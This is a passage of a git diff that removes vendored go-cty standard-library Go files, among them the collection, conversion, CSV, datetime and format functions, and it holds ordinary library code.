function.NewArgErrorf(1, "start index must not be greater than the length of the list") - } - startKnown = true - } - if args[2].IsKnown() { - if err := gocty.FromCtyValue(args[2], &endIndex); err != nil { - return 0, 0, false, function.NewArgErrorf(2, "invalid end index: %s", err) - } - if endIndex < 0 { - return 0, 0, false, function.NewArgErrorf(2, "end index must not be less than zero") - } - if lengthKnown && endIndex > length { - return 0, 0, false, function.NewArgErrorf(2, "end index must not be greater than the length of the list") - } - endKnown = true - } - if startKnown && endKnown { - if startIndex > endIndex { - return 0, 0, false, function.NewArgErrorf(1, "start index must not be greater than end index") - } - } - return startIndex, endIndex, startKnown && endKnown, nil -} - -// ValuesFunc is a function that returns a list of the map values, -// in the order of the sorted keys. -var ValuesFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "values", - Type: cty.DynamicPseudoType, - }, - }, - Type: func(args []cty.Value) (ret cty.Type, err error) { - ty := args[0].Type() - if ty.IsMapType() { - return cty.List(ty.ElementType()), nil - } else if ty.IsObjectType() { - // The result is a tuple type with all of the same types as our - // object type's attributes, sorted in lexicographical order by the - // keys. (This matches the sort order guaranteed by ElementIterator - // on a cty object value.) - atys := ty.AttributeTypes() - if len(atys) == 0 { - return cty.EmptyTuple, nil - } - attrNames := make([]string, 0, len(atys)) - for name := range atys { - attrNames = append(attrNames, name) - } - sort.Strings(attrNames) - - tys := make([]cty.Type, len(attrNames)) - for i, name := range attrNames { - tys[i] = atys[name] - } - return cty.Tuple(tys), nil - } - return cty.NilType, errors.New("values() requires a map as the first argument") - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - mapVar := args[0] - - // We can just iterate the map/object value here because cty guarantees - // that these types always iterate in key lexicographical order. - var values []cty.Value - for it := mapVar.ElementIterator(); it.Next(); { - _, val := it.Element() - values = append(values, val) - } - - if retType.IsTupleType() { - return cty.TupleVal(values), nil - } - if len(values) == 0 { - return cty.ListValEmpty(retType.ElementType()), nil - } - return cty.ListVal(values), nil - }, -}) - -// ZipmapFunc is a function that constructs a map from a list of keys -// and a corresponding list of values. -var ZipmapFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "keys", - Type: cty.List(cty.String), - }, - { - Name: "values", - Type: cty.DynamicPseudoType, - }, - }, - Type: func(args []cty.Value) (ret cty.Type, err error) { - keys := args[0] - values := args[1] - valuesTy := values.Type() - - switch { - case valuesTy.IsListType(): - return cty.Map(values.Type().ElementType()), nil - case valuesTy.IsTupleType(): - if !keys.IsWhollyKnown() { - // Since zipmap with a tuple produces an object, we need to know - // all of the key names before we can predict our result type. - return cty.DynamicPseudoType, nil - } - - keysRaw := keys.AsValueSlice() - valueTypesRaw := valuesTy.TupleElementTypes() - if len(keysRaw) != len(valueTypesRaw) { - return cty.NilType, fmt.Errorf("number of keys (%d) does not match number of values (%d)", len(keysRaw), len(valueTypesRaw)) - } - atys := make(map[string]cty.Type, len(valueTypesRaw)) - for i, keyVal := range keysRaw { - if keyVal.IsNull() { - return cty.NilType, fmt.Errorf("keys list has null value at index %d", i) - } - key := keyVal.AsString() - atys[key] = valueTypesRaw[i] - } - return cty.Object(atys), nil - - default: - return cty.NilType, errors.New("values argument must be a list or tuple value") - } - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - keys := args[0] - values := args[1] - - if !keys.IsWhollyKnown() { - // Unknown map keys and object attributes are not supported, so - // our entire result must be unknown in this case. - return cty.UnknownVal(retType), nil - } - - // both keys and values are guaranteed to be shallowly-known here, - // because our declared params above don't allow unknown or null values. - if keys.LengthInt() != values.LengthInt() { - return cty.NilVal, fmt.Errorf("number of keys (%d) does not match number of values (%d)", keys.LengthInt(), values.LengthInt()) - } - - output := make(map[string]cty.Value) - - i := 0 - for it := keys.ElementIterator(); it.Next(); { - _, v := it.Element() - val := values.Index(cty.NumberIntVal(int64(i))) - output[v.AsString()] = val - i++ - } - - switch { - case retType.IsMapType(): - if len(output) == 0 { - return cty.MapValEmpty(retType.ElementType()), nil - } - return cty.MapVal(output), nil - case retType.IsObjectType(): - return cty.ObjectVal(output), nil - default: - // Should never happen because the type-check function should've - // caught any other case. - return cty.NilVal, fmt.Errorf("internally selected incorrect result type %s (this is a bug)", retType.FriendlyName()) - } - }, -}) - -// helper function to add an element to a list, if it does not already exist -func appendIfMissing(slice []cty.Value, element cty.Value) ([]cty.Value, error) { - for _, ele := range slice { - eq, err := Equal(ele, element) - if err != nil { - return slice, err - } - if eq.True() { - return slice, nil - } - } - return append(slice, element), nil -} - -// HasIndex determines whether the given collection can be indexed with the -// given key. -func HasIndex(collection cty.Value, key cty.Value) (cty.Value, error) { - return HasIndexFunc.Call([]cty.Value{collection, key}) -} - -// Index returns an element from the given collection using the given key, -// or returns an error if there is no element for the given key. -func Index(collection cty.Value, key cty.Value) (cty.Value, error) { - return IndexFunc.Call([]cty.Value{collection, key}) -} - -// Length returns the number of elements in the given collection. -func Length(collection cty.Value) (cty.Value, error) { - return LengthFunc.Call([]cty.Value{collection}) -} - -// Element returns a single element from a given list at the given index. If -// index is greater than the length of the list then it is wrapped modulo -// the list length. -func Element(list, index cty.Value) (cty.Value, error) { - return ElementFunc.Call([]cty.Value{list, index}) -} - -// CoalesceList takes any number of list arguments and returns the first one that isn't empty. -func CoalesceList(args ...cty.Value) (cty.Value, error) { - return CoalesceListFunc.Call(args) -} - -// Compact takes a list of strings and returns a new list -// with any empty string elements removed. -func Compact(list cty.Value) (cty.Value, error) { - return CompactFunc.Call([]cty.Value{list}) -} - -// Contains determines whether a given list contains a given single value -// as one of its elements. -func Contains(list, value cty.Value) (cty.Value, error) { - return ContainsFunc.Call([]cty.Value{list, value}) -} - -// Distinct takes a list and returns a new list with any duplicate elements removed. -func Distinct(list cty.Value) (cty.Value, error) { - return DistinctFunc.Call([]cty.Value{list}) -} - -// Chunklist splits a single list into fixed-size chunks, returning a list of lists. -func Chunklist(list, size cty.Value) (cty.Value, error) { - return ChunklistFunc.Call([]cty.Value{list, size}) -} - -// Flatten takes a list and replaces any elements that are lists with a flattened -// sequence of the list contents. -func Flatten(list cty.Value) (cty.Value, error) { - return FlattenFunc.Call([]cty.Value{list}) -} - -// Keys takes a map and returns a sorted list of the map keys. -func Keys(inputMap cty.Value) (cty.Value, error) { - return KeysFunc.Call([]cty.Value{inputMap}) -} - -// Lookup performs a dynamic lookup into a map. -// There are two required arguments, map and key, plus an optional default, -// which is a value to return if no key is found in map. -func Lookup(inputMap, key, defaultValue cty.Value) (cty.Value, error) { - return LookupFunc.Call([]cty.Value{inputMap, key, defaultValue}) -} - -// Merge takes an arbitrary number of maps and returns a single map that contains -// a merged set of elements from all of the maps. -// -// If more than one given map defines the same key then the one that is later in -// the argument sequence takes precedence. -func Merge(maps ...cty.Value) (cty.Value, error) { - return MergeFunc.Call(maps) -} - -// ReverseList takes a sequence and produces a new sequence of the same length -// with all of the same elements as the given sequence but in reverse order. -func ReverseList(list cty.Value) (cty.Value, error) { - return ReverseListFunc.Call([]cty.Value{list}) -} - -// SetProduct computes the Cartesian product of sets or sequences. -func SetProduct(sets ...cty.Value) (cty.Value, error) { - return SetProductFunc.Call(sets) -} - -// Slice extracts some consecutive elements from within a list. -func Slice(list, start, end cty.Value) (cty.Value, error) { - return SliceFunc.Call([]cty.Value{list, start, end}) -} - -// Values returns a list of the map values, in the order of the sorted keys. -// This function only works on flat maps. -func Values(values cty.Value) (cty.Value, error) { - return ValuesFunc.Call([]cty.Value{values}) -} - -// Zipmap constructs a map from a list of keys and a corresponding list of values. -func Zipmap(keys, values cty.Value) (cty.Value, error) { - return ZipmapFunc.Call([]cty.Value{keys, values}) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/conversion.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/conversion.go deleted file mode 100644 index 66eb97e251..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/conversion.go +++ /dev/null @@ -1,87 +0,0 @@ -package stdlib - -import ( - "strconv" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" - "github.com/zclconf/go-cty/cty/function" -) - -// MakeToFunc constructs a "to..." function, like "tostring", which converts -// its argument to a specific type or type kind. -// -// The given type wantTy can be any type constraint that cty's "convert" package -// would accept. In particular, this means that you can pass -// cty.List(cty.DynamicPseudoType) to mean "list of any single type", which -// will then cause cty to attempt to unify all of the element types when given -// a tuple. -func MakeToFunc(wantTy cty.Type) function.Function { - return function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "v", - // We use DynamicPseudoType rather than wantTy here so that - // all values will pass through the function API verbatim and - // we can handle the conversion logic within the Type and - // Impl functions. This allows us to customize the error - // messages to be more appropriate for an explicit type - // conversion, whereas the cty function system produces - // messages aimed at _implicit_ type conversions. - Type: cty.DynamicPseudoType, - AllowNull: true, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - gotTy := args[0].Type() - if gotTy.Equals(wantTy) { - return wantTy, nil - } - conv := convert.GetConversionUnsafe(args[0].Type(), wantTy) - if conv == nil { - // We'll use some specialized errors for some trickier cases, - // but most we can handle in a simple way. - switch { - case gotTy.IsTupleType() && wantTy.IsTupleType(): - return cty.NilType, function.NewArgErrorf(0, "incompatible tuple type for conversion: %s", convert.MismatchMessage(gotTy, wantTy)) - case gotTy.IsObjectType() && wantTy.IsObjectType(): - return cty.NilType, function.NewArgErrorf(0, "incompatible object type for conversion: %s", convert.MismatchMessage(gotTy, wantTy)) - default: - return cty.NilType, function.NewArgErrorf(0, "cannot convert %s to %s", gotTy.FriendlyName(), wantTy.FriendlyNameForConstraint()) - } - } - // If a conversion is available then everything is fine. - return wantTy, nil - }, - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - // We didn't set "AllowUnknown" on our argument, so it is guaranteed - // to be known here but may still be null. - ret, err := convert.Convert(args[0], retType) - if err != nil { - // Because we used GetConversionUnsafe above, conversion can - // still potentially fail in here. For example, if the user - // asks to convert the string "a" to bool then we'll - // optimistically permit it during type checking but fail here - // once we note that the value isn't either "true" or "false". - gotTy := args[0].Type() - switch { - case gotTy == cty.String && wantTy == cty.Bool: - what := "string" - if !args[0].IsNull() { - what = strconv.Quote(args[0].AsString()) - } - return cty.NilVal, function.NewArgErrorf(0, `cannot convert %s to bool; only the strings "true" or "false" are allowed`, what) - case gotTy == cty.String && wantTy == cty.Number: - what := "string" - if !args[0].IsNull() { - what = strconv.Quote(args[0].AsString()) - } - return cty.NilVal, function.NewArgErrorf(0, `cannot convert %s to number; given string must be a decimal representation of a number`, what) - default: - return cty.NilVal, function.NewArgErrorf(0, "cannot convert %s to %s", gotTy.FriendlyName(), wantTy.FriendlyNameForConstraint()) - } - } - return ret, nil - }, - }) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/csv.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/csv.go deleted file mode 100644 index 5070a5adf5..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/csv.go +++ /dev/null @@ -1,93 +0,0 @@ -package stdlib - -import ( - "encoding/csv" - "fmt" - "io" - "strings" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" -) - -var CSVDecodeFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - str := args[0] - if !str.IsKnown() { - return cty.DynamicPseudoType, nil - } - - r := strings.NewReader(str.AsString()) - cr := csv.NewReader(r) - headers, err := cr.Read() - if err == io.EOF { - return cty.DynamicPseudoType, fmt.Errorf("missing header line") - } - if err != nil { - return cty.DynamicPseudoType, err - } - - atys := make(map[string]cty.Type, len(headers)) - for _, name := range headers { - if _, exists := atys[name]; exists { - return cty.DynamicPseudoType, fmt.Errorf("duplicate column name %q", name) - } - atys[name] = cty.String - } - return cty.List(cty.Object(atys)), nil - }, - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - ety := retType.ElementType() - atys := ety.AttributeTypes() - str := args[0] - r := strings.NewReader(str.AsString()) - cr := csv.NewReader(r) - cr.FieldsPerRecord = len(atys) - - // Read the header row first, since that'll tell us which indices - // map to which attribute names. - headers, err := cr.Read() - if err != nil { - return cty.DynamicVal, err - } - - var rows []cty.Value - for { - cols, err := cr.Read() - if err == io.EOF { - break - } - if err != nil { - return cty.DynamicVal, err - } - - vals := make(map[string]cty.Value, len(cols)) - for i, str := range cols { - name := headers[i] - vals[name] = cty.StringVal(str) - } - rows = append(rows, cty.ObjectVal(vals)) - } - - if len(rows) == 0 { - return cty.ListValEmpty(ety), nil - } - return cty.ListVal(rows), nil - }, -}) - -// CSVDecode parses the given CSV (RFC 4180) string and, if it is valid, -// returns a list of objects representing the rows. -// -// The result is always a list of some object type. The first row of the -// input is used to determine the object attributes, and subsequent rows -// determine the values of those attributes. -func CSVDecode(str cty.Value) (cty.Value, error) { - return CSVDecodeFunc.Call([]cty.Value{str}) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/datetime.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/datetime.go deleted file mode 100644 index 3ce41ba9db..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/datetime.go +++ /dev/null @@ -1,429 +0,0 @@ -package stdlib - -import ( - "bufio" - "bytes" - "fmt" - "strings" - "time" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" -) - -var FormatDateFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "format", - Type: cty.String, - }, - { - Name: "time", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - formatStr := args[0].AsString() - timeStr := args[1].AsString() - t, err := parseTimestamp(timeStr) - if err != nil { - return cty.DynamicVal, function.NewArgError(1, err) - } - - var buf bytes.Buffer - sc := bufio.NewScanner(strings.NewReader(formatStr)) - sc.Split(splitDateFormat) - const esc = '\'' - for sc.Scan() { - tok := sc.Bytes() - - // The leading byte signals the token type - switch { - case tok[0] == esc: - if tok[len(tok)-1] != esc || len(tok) == 1 { - return cty.DynamicVal, function.NewArgErrorf(0, "unterminated literal '") - } - if len(tok) == 2 { - // Must be a single escaped quote, '' - buf.WriteByte(esc) - } else { - // The content (until a closing esc) is printed out verbatim - // except that we must un-double any double-esc escapes in - // the middle of the string. - raw := tok[1 : len(tok)-1] - for i := 0; i < len(raw); i++ { - buf.WriteByte(raw[i]) - if raw[i] == esc { - i++ // skip the escaped quote - } - } - } - - case startsDateFormatVerb(tok[0]): - switch tok[0] { - case 'Y': - y := t.Year() - switch len(tok) { - case 2: - fmt.Fprintf(&buf, "%02d", y%100) - case 4: - fmt.Fprintf(&buf, "%04d", y) - default: - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q: year must either be \"YY\" or \"YYYY\"", tok) - } - case 'M': - m := t.Month() - switch len(tok) { - case 1: - fmt.Fprintf(&buf, "%d", m) - case 2: - fmt.Fprintf(&buf, "%02d", m) - case 3: - buf.WriteString(m.String()[:3]) - case 4: - buf.WriteString(m.String()) - default: - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q: month must be \"M\", \"MM\", \"MMM\", or \"MMMM\"", tok) - } - case 'D': - d := t.Day() - switch len(tok) { - case 1: - fmt.Fprintf(&buf, "%d", d) - case 2: - fmt.Fprintf(&buf, "%02d", d) - default: - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q: day of month must either be \"D\" or \"DD\"", tok) - } - case 'E': - d := t.Weekday() - switch len(tok) { - case 3: - buf.WriteString(d.String()[:3]) - case 4: - buf.WriteString(d.String()) - default: - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q: day of week must either be \"EEE\" or \"EEEE\"", tok) - } - case 'h': - h := t.Hour() - switch len(tok) { - case 1: - fmt.Fprintf(&buf, "%d", h) - case 2: - fmt.Fprintf(&buf, "%02d", h) - default: - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q: 24-hour must either be \"h\" or \"hh\"", tok) - } - case 'H': - h := t.Hour() % 12 - if h == 0 { - h = 12 - } - switch len(tok) { - case 1: - fmt.Fprintf(&buf, "%d", h) - case 2: - fmt.Fprintf(&buf, "%02d", h) - default: - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q: 12-hour must either be \"H\" or \"HH\"", tok) - } - case 'A', 'a': - if len(tok) != 2 { - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q: must be \"%s%s\"", tok, tok[0:1], tok[0:1]) - } - upper := tok[0] == 'A' - switch t.Hour() / 12 { - case 0: - if upper { - buf.WriteString("AM") - } else { - buf.WriteString("am") - } - case 1: - if upper { - buf.WriteString("PM") - } else { - buf.WriteString("pm") - } - } - case 'm': - m := t.Minute() - switch len(tok) { - case 1: - fmt.Fprintf(&buf, "%d", m) - case 2: - fmt.Fprintf(&buf, "%02d", m) - default: - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q: minute must either be \"m\" or \"mm\"", tok) - } - case 's': - s := t.Second() - switch len(tok) { - case 1: - fmt.Fprintf(&buf, "%d", s) - case 2: - fmt.Fprintf(&buf, "%02d", s) - default: - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q: second must either be \"s\" or \"ss\"", tok) - } - case 'Z': - // We'll just lean on Go's own formatter for this one, since - // the necessary information is unexported. - switch len(tok) { - case 1: - buf.WriteString(t.Format("Z07:00")) - case 3: - str := t.Format("-0700") - switch str { - case "+0000": - buf.WriteString("UTC") - default: - buf.WriteString(str) - } - case 4: - buf.WriteString(t.Format("-0700")) - case 5: - buf.WriteString(t.Format("-07:00")) - default: - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q: timezone must be Z, ZZZZ, or ZZZZZ", tok) - } - default: - return cty.DynamicVal, function.NewArgErrorf(0, "invalid date format verb %q", tok) - } - - default: - // Any other starting character indicates a literal sequence - buf.Write(tok) - } - } - - return cty.StringVal(buf.String()), nil - }, -}) - -// TimeAddFunc is a function that adds a duration to a timestamp, returning a new timestamp. -var TimeAddFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "timestamp", - Type: cty.String, - }, - { - Name: "duration", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - ts, err := parseTimestamp(args[0].AsString()) - if err != nil { - return cty.UnknownVal(cty.String), err - } - duration, err := time.ParseDuration(args[1].AsString()) - if err != nil { - return cty.UnknownVal(cty.String), err - } - - return cty.StringVal(ts.Add(duration).Format(time.RFC3339)), nil - }, -}) - -// FormatDate reformats a timestamp given in RFC3339 syntax into another time -// syntax defined by a given format string. -// -// The format string uses letter mnemonics to represent portions of the -// timestamp, with repetition signifying length variants of each portion. -// Single quote characters ' can be used to quote sequences of literal letters -// that should not be interpreted as formatting mnemonics. -// -// The full set of supported mnemonic sequences is listed below: -// -// YY Year modulo 100 zero-padded to two digits, like "06". -// YYYY Four (or more) digit year, like "2006". -// M Month number, like "1" for January. -// MM Month number zero-padded to two digits, like "01". -// MMM English month name abbreviated to three letters, like "Jan". -// MMMM English month name unabbreviated, like "January". -// D Day of month number, like "2". -// DD Day of month number zero-padded to two digits, like "02". -// EEE English day of week name abbreviated to three letters, like "Mon". -// EEEE English day of week name unabbreviated, like "Monday". -// h 24-hour number, like "2". -// hh 24-hour number zero-padded to two digits, like "02". -// H 12-hour number, like "2". -// HH 12-hour number zero-padded to two digits, like "02". -// AA Hour AM/PM marker in uppercase, like "AM". -// aa Hour AM/PM marker in lowercase, like "am". -// m Minute within hour, like "5". -// mm Minute within hour zero-padded to two digits, like "05". -// s Second within minute, like "9". -// ss Second within minute zero-padded to two digits, like "09". -// ZZZZ Timezone offset with just sign and digit, like "-0800". -// ZZZZZ Timezone offset with colon separating hours and minutes, like "-08:00". -// Z Like ZZZZZ but with a special case "Z" for UTC. -// ZZZ Like ZZZZ but with a special case "UTC" for UTC. -// -// The format syntax is optimized mainly for generating machine-oriented -// timestamps rather than human-oriented timestamps; the English language -// portions of the output reflect the use of English names in a number of -// machine-readable date formatting standards. For presentation to humans, -// a locale-aware time formatter (not included in this package) is a better -// choice. -// -// The format syntax is not compatible with that of any other language, but -// is optimized so that patterns for common standard date formats can be -// recognized quickly even by a reader unfamiliar with the format syntax. -func FormatDate(format cty.Value, timestamp cty.Value) (cty.Value, error) { - return FormatDateFunc.Call([]cty.Value{format, timestamp}) -} - -func parseTimestamp(ts string) (time.Time, error) { - t, err := time.Parse(time.RFC3339, ts) - if err != nil { - switch err := err.(type) { - case *time.ParseError: - // If err is s time.ParseError then its string representation is not - // appropriate since it relies on details of Go's strange date format - // representation, which a caller of our functions is not expected - // to be familiar with. - // - // Therefore we do some light transformation to get a more suitable - // error that should make more sense to our callers. These are - // still not awesome error messages, but at least they refer to - // the timestamp portions by name rather than by Go's example - // values. - if err.LayoutElem == "" && err.ValueElem == "" && err.Message != "" { - // For some reason err.Message is populated with a ": " prefix - // by the time package. - return time.Time{}, fmt.Errorf("not a valid RFC3339 timestamp%s", err.Message) - } - var what string - switch err.LayoutElem { - case "2006": - what = "year" - case "01": - what = "month" - case "02": - what = "day of month" - case "15": - what = "hour" - case "04": - what = "minute" - case "05": - what = "second" - case "Z07:00": - what = "UTC offset" - case "T": - return time.Time{}, fmt.Errorf("not a valid RFC3339 timestamp: missing required time introducer 'T'") - case ":", "-": - if err.ValueElem == "" { - return time.Time{}, fmt.Errorf("not a valid RFC3339 timestamp: end of string where %q is expected", err.LayoutElem) - } else { - return time.Time{}, fmt.Errorf("not a valid RFC3339 timestamp: found %q where %q is expected", err.ValueElem, err.LayoutElem) - } - default: - // Should never get here, because time.RFC3339 includes only the - // above portions, but since that might change in future we'll - // be robust here. - what = "timestamp segment" - } - if err.ValueElem == "" { - return time.Time{}, fmt.Errorf("not a valid RFC3339 timestamp: end of string before %s", what) - } else { - return time.Time{}, fmt.Errorf("not a valid RFC3339 timestamp: cannot use %q as %s", err.ValueElem, what) - } - } - return time.Time{}, err - } - return t, nil -} - -// splitDataFormat is a bufio.SplitFunc used to tokenize a date format. -func splitDateFormat(data []byte, atEOF bool) (advance int, token []byte, err error) { - if len(data) == 0 { - return 0, nil, nil - } - - const esc = '\'' - - switch { - - case data[0] == esc: - // If we have another quote immediately after then this is a single - // escaped escape. - if len(data) > 1 && data[1] == esc { - return 2, data[:2], nil - } - - // Beginning of quoted sequence, so we will seek forward until we find - // the closing quote, ignoring escaped quotes along the way. - for i := 1; i < len(data); i++ { - if data[i] == esc { - if (i + 1) == len(data) { - // We need at least one more byte to decide if this is an - // escape or a terminator. - return 0, nil, nil - } - if data[i+1] == esc { - i++ // doubled-up quotes are an escape sequence - continue - } - // We've found the closing quote - return i + 1, data[:i+1], nil - } - } - // If we fall out here then we need more bytes to find the end, - // unless we're already at the end with an unclosed quote. - if atEOF { - return len(data), data, nil - } - return 0, nil, nil - - case startsDateFormatVerb(data[0]): - rep := data[0] - for i := 1; i < len(data); i++ { - if data[i] != rep { - return i, data[:i], nil - } - } - if atEOF { - return len(data), data, nil - } - // We need more data to decide if we've found the end - return 0, nil, nil - - default: - for i := 1; i < len(data); i++ { - if data[i] == esc || startsDateFormatVerb(data[i]) { - return i, data[:i], nil - } - } - // We might not actually be at the end of a literal sequence, - // but that doesn't matter since we'll concat them back together - // anyway. - return len(data), data, nil - } -} - -func startsDateFormatVerb(b byte) bool { - return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z') -} - -// TimeAdd adds a duration to a timestamp, returning a new timestamp. -// -// In the HCL language, timestamps are conventionally represented as -// strings using RFC 3339 "Date and Time format" syntax. Timeadd requires -// the timestamp argument to be a string conforming to this syntax. -// -// `duration` is a string representation of a time difference, consisting of -// sequences of number and unit pairs, like `"1.5h"` or `1h30m`. The accepted -// units are `ns`, `us` (or `Âĩs`), `"ms"`, `"s"`, `"m"`, and `"h"`. The first -// number may be negative to indicate a negative duration, like `"-2h5m"`. -// -// The result is a string, also in RFC 3339 format, representing the result -// of adding the given direction to the given timestamp. -func TimeAdd(timestamp cty.Value, duration cty.Value) (cty.Value, error) { - return TimeAddFunc.Call([]cty.Value{timestamp, duration}) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/doc.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/doc.go deleted file mode 100644 index cfb613e5a5..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/doc.go +++ /dev/null @@ -1,13 +0,0 @@ -// Package stdlib is a collection of cty functions that are expected to be -// generally useful, and are thus factored out into this shared library in -// the hope that cty-using applications will have consistent behavior when -// using these functions. -// -// See the parent package "function" for more information on the purpose -// and usage of cty functions. -// -// This package contains both Go functions, which provide convenient access -// to call the functions from Go code, and the Function objects themselves. -// The latter follow the naming scheme of appending "Func" to the end of -// the function name. -package stdlib diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/format.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/format.go deleted file mode 100644 index 1e4af13954..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/format.go +++ /dev/null @@ -1,517 +0,0 @@ -package stdlib - -import ( - "bytes" - "fmt" - "math/big" - "strings" - - "github.com/apparentlymart/go-textseg/v12/textseg" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" - "github.com/zclconf/go-cty/cty/function" - "github.com/zclconf/go-cty/cty/json" -) - -//go:generate ragel -Z format_fsm.rl -//go:generate gofmt -w format_fsm.go - -var FormatFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "format", - Type: cty.String, - }, - }, - VarParam: &function.Parameter{ - Name: "args", - Type: cty.DynamicPseudoType, - AllowNull: true, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - for _, arg := range args[1:] { - if !arg.IsWhollyKnown() { - // We require all nested values to be known because the only - // thing we can do for a collection/structural type is print - // it as JSON and that requires it to be wholly known. - return cty.UnknownVal(cty.String), nil - } - } - str, err := formatFSM(args[0].AsString(), args[1:]) - return cty.StringVal(str), err - }, -}) - -var FormatListFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "format", - Type: cty.String, - }, - }, - VarParam: &function.Parameter{ - Name: "args", - Type: cty.DynamicPseudoType, - AllowNull: true, - AllowUnknown: true, - }, - Type: function.StaticReturnType(cty.List(cty.String)), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - fmtVal := args[0] - args = args[1:] - - if len(args) == 0 { - // With no arguments, this function is equivalent to Format, but - // returning a single-element list result. - result, err := Format(fmtVal, args...) - return cty.ListVal([]cty.Value{result}), err - } - - fmtStr := fmtVal.AsString() - - // Each of our arguments will be dealt with either as an iterator - // or as a single value. Iterators are used for sequence-type values - // (lists, sets, tuples) while everything else is treated as a - // single value. The sequences we iterate over are required to be - // all the same length. - iterLen := -1 - lenChooser := -1 - iterators := make([]cty.ElementIterator, len(args)) - singleVals := make([]cty.Value, len(args)) - unknowns := make([]bool, len(args)) - for i, arg := range args { - argTy := arg.Type() - switch { - case (argTy.IsListType() || argTy.IsSetType() || argTy.IsTupleType()) && !arg.IsNull(): - if !argTy.IsTupleType() && !arg.IsKnown() { - // We can't iterate this one at all yet then, so we can't - // yet produce a result. - unknowns[i] = true - continue - } - thisLen := arg.LengthInt() - if iterLen == -1 { - iterLen = thisLen - lenChooser = i - } else { - if thisLen != iterLen { - return cty.NullVal(cty.List(cty.String)), function.NewArgErrorf( - i+1, - "argument %d has length %d, which is inconsistent with argument %d of length %d", - i+1, thisLen, - lenChooser+1, iterLen, - ) - } - } - if !arg.IsKnown() { - // We allowed an unknown tuple value to fall through in - // our initial check above so that we'd be able to run - // the above error checks against it, but we still can't - // iterate it if the checks pass. - unknowns[i] = true - continue - } - iterators[i] = arg.ElementIterator() - default: - singleVals[i] = arg - } - } - - for _, isUnk := range unknowns { - if isUnk { - return cty.UnknownVal(retType), nil - } - } - - if iterLen == 0 { - // If our sequences are all empty then our result must be empty. - return cty.ListValEmpty(cty.String), nil - } - - if iterLen == -1 { - // If we didn't encounter any iterables at all then we're going - // to just do one iteration with items from singleVals. - iterLen = 1 - } - - ret := make([]cty.Value, 0, iterLen) - fmtArgs := make([]cty.Value, len(iterators)) - Results: - for iterIdx := 0; iterIdx < iterLen; iterIdx++ { - - // Construct our arguments for a single format call - for i := range fmtArgs { - switch { - case iterators[i] != nil: - iterator := iterators[i] - iterator.Next() - _, val := iterator.Element() - fmtArgs[i] = val - default: - fmtArgs[i] = singleVals[i] - } - - // If any of the arguments to this call would be unknown then - // this particular result is unknown, but we'll keep going - // to see if any other iterations can produce known values. - if !fmtArgs[i].IsWhollyKnown() { - // We require all nested values to be known because the only - // thing we can do for a collection/structural type is print - // it as JSON and that requires it to be wholly known. - ret = append(ret, cty.UnknownVal(cty.String)) - continue Results - } - } - - str, err := formatFSM(fmtStr, fmtArgs) - if err != nil { - return cty.NullVal(cty.List(cty.String)), fmt.Errorf( - "error on format iteration %d: %s", iterIdx, err, - ) - } - - ret = append(ret, cty.StringVal(str)) - } - - return cty.ListVal(ret), nil - }, -}) - -// Format produces a string representation of zero or more values using a -// format string similar to the "printf" function in C. -// -// It supports the following "verbs": -// -// %% Literal percent sign, consuming no value -// %v A default formatting of the value based on type, as described below. -// %#v JSON serialization of the value -// %t Converts to boolean and then produces "true" or "false" -// %b Converts to number, requires integer, produces binary representation -// %d Converts to number, requires integer, produces decimal representation -// %o Converts to number, requires integer, produces octal representation -// %x Converts to number, requires integer, produces hexadecimal 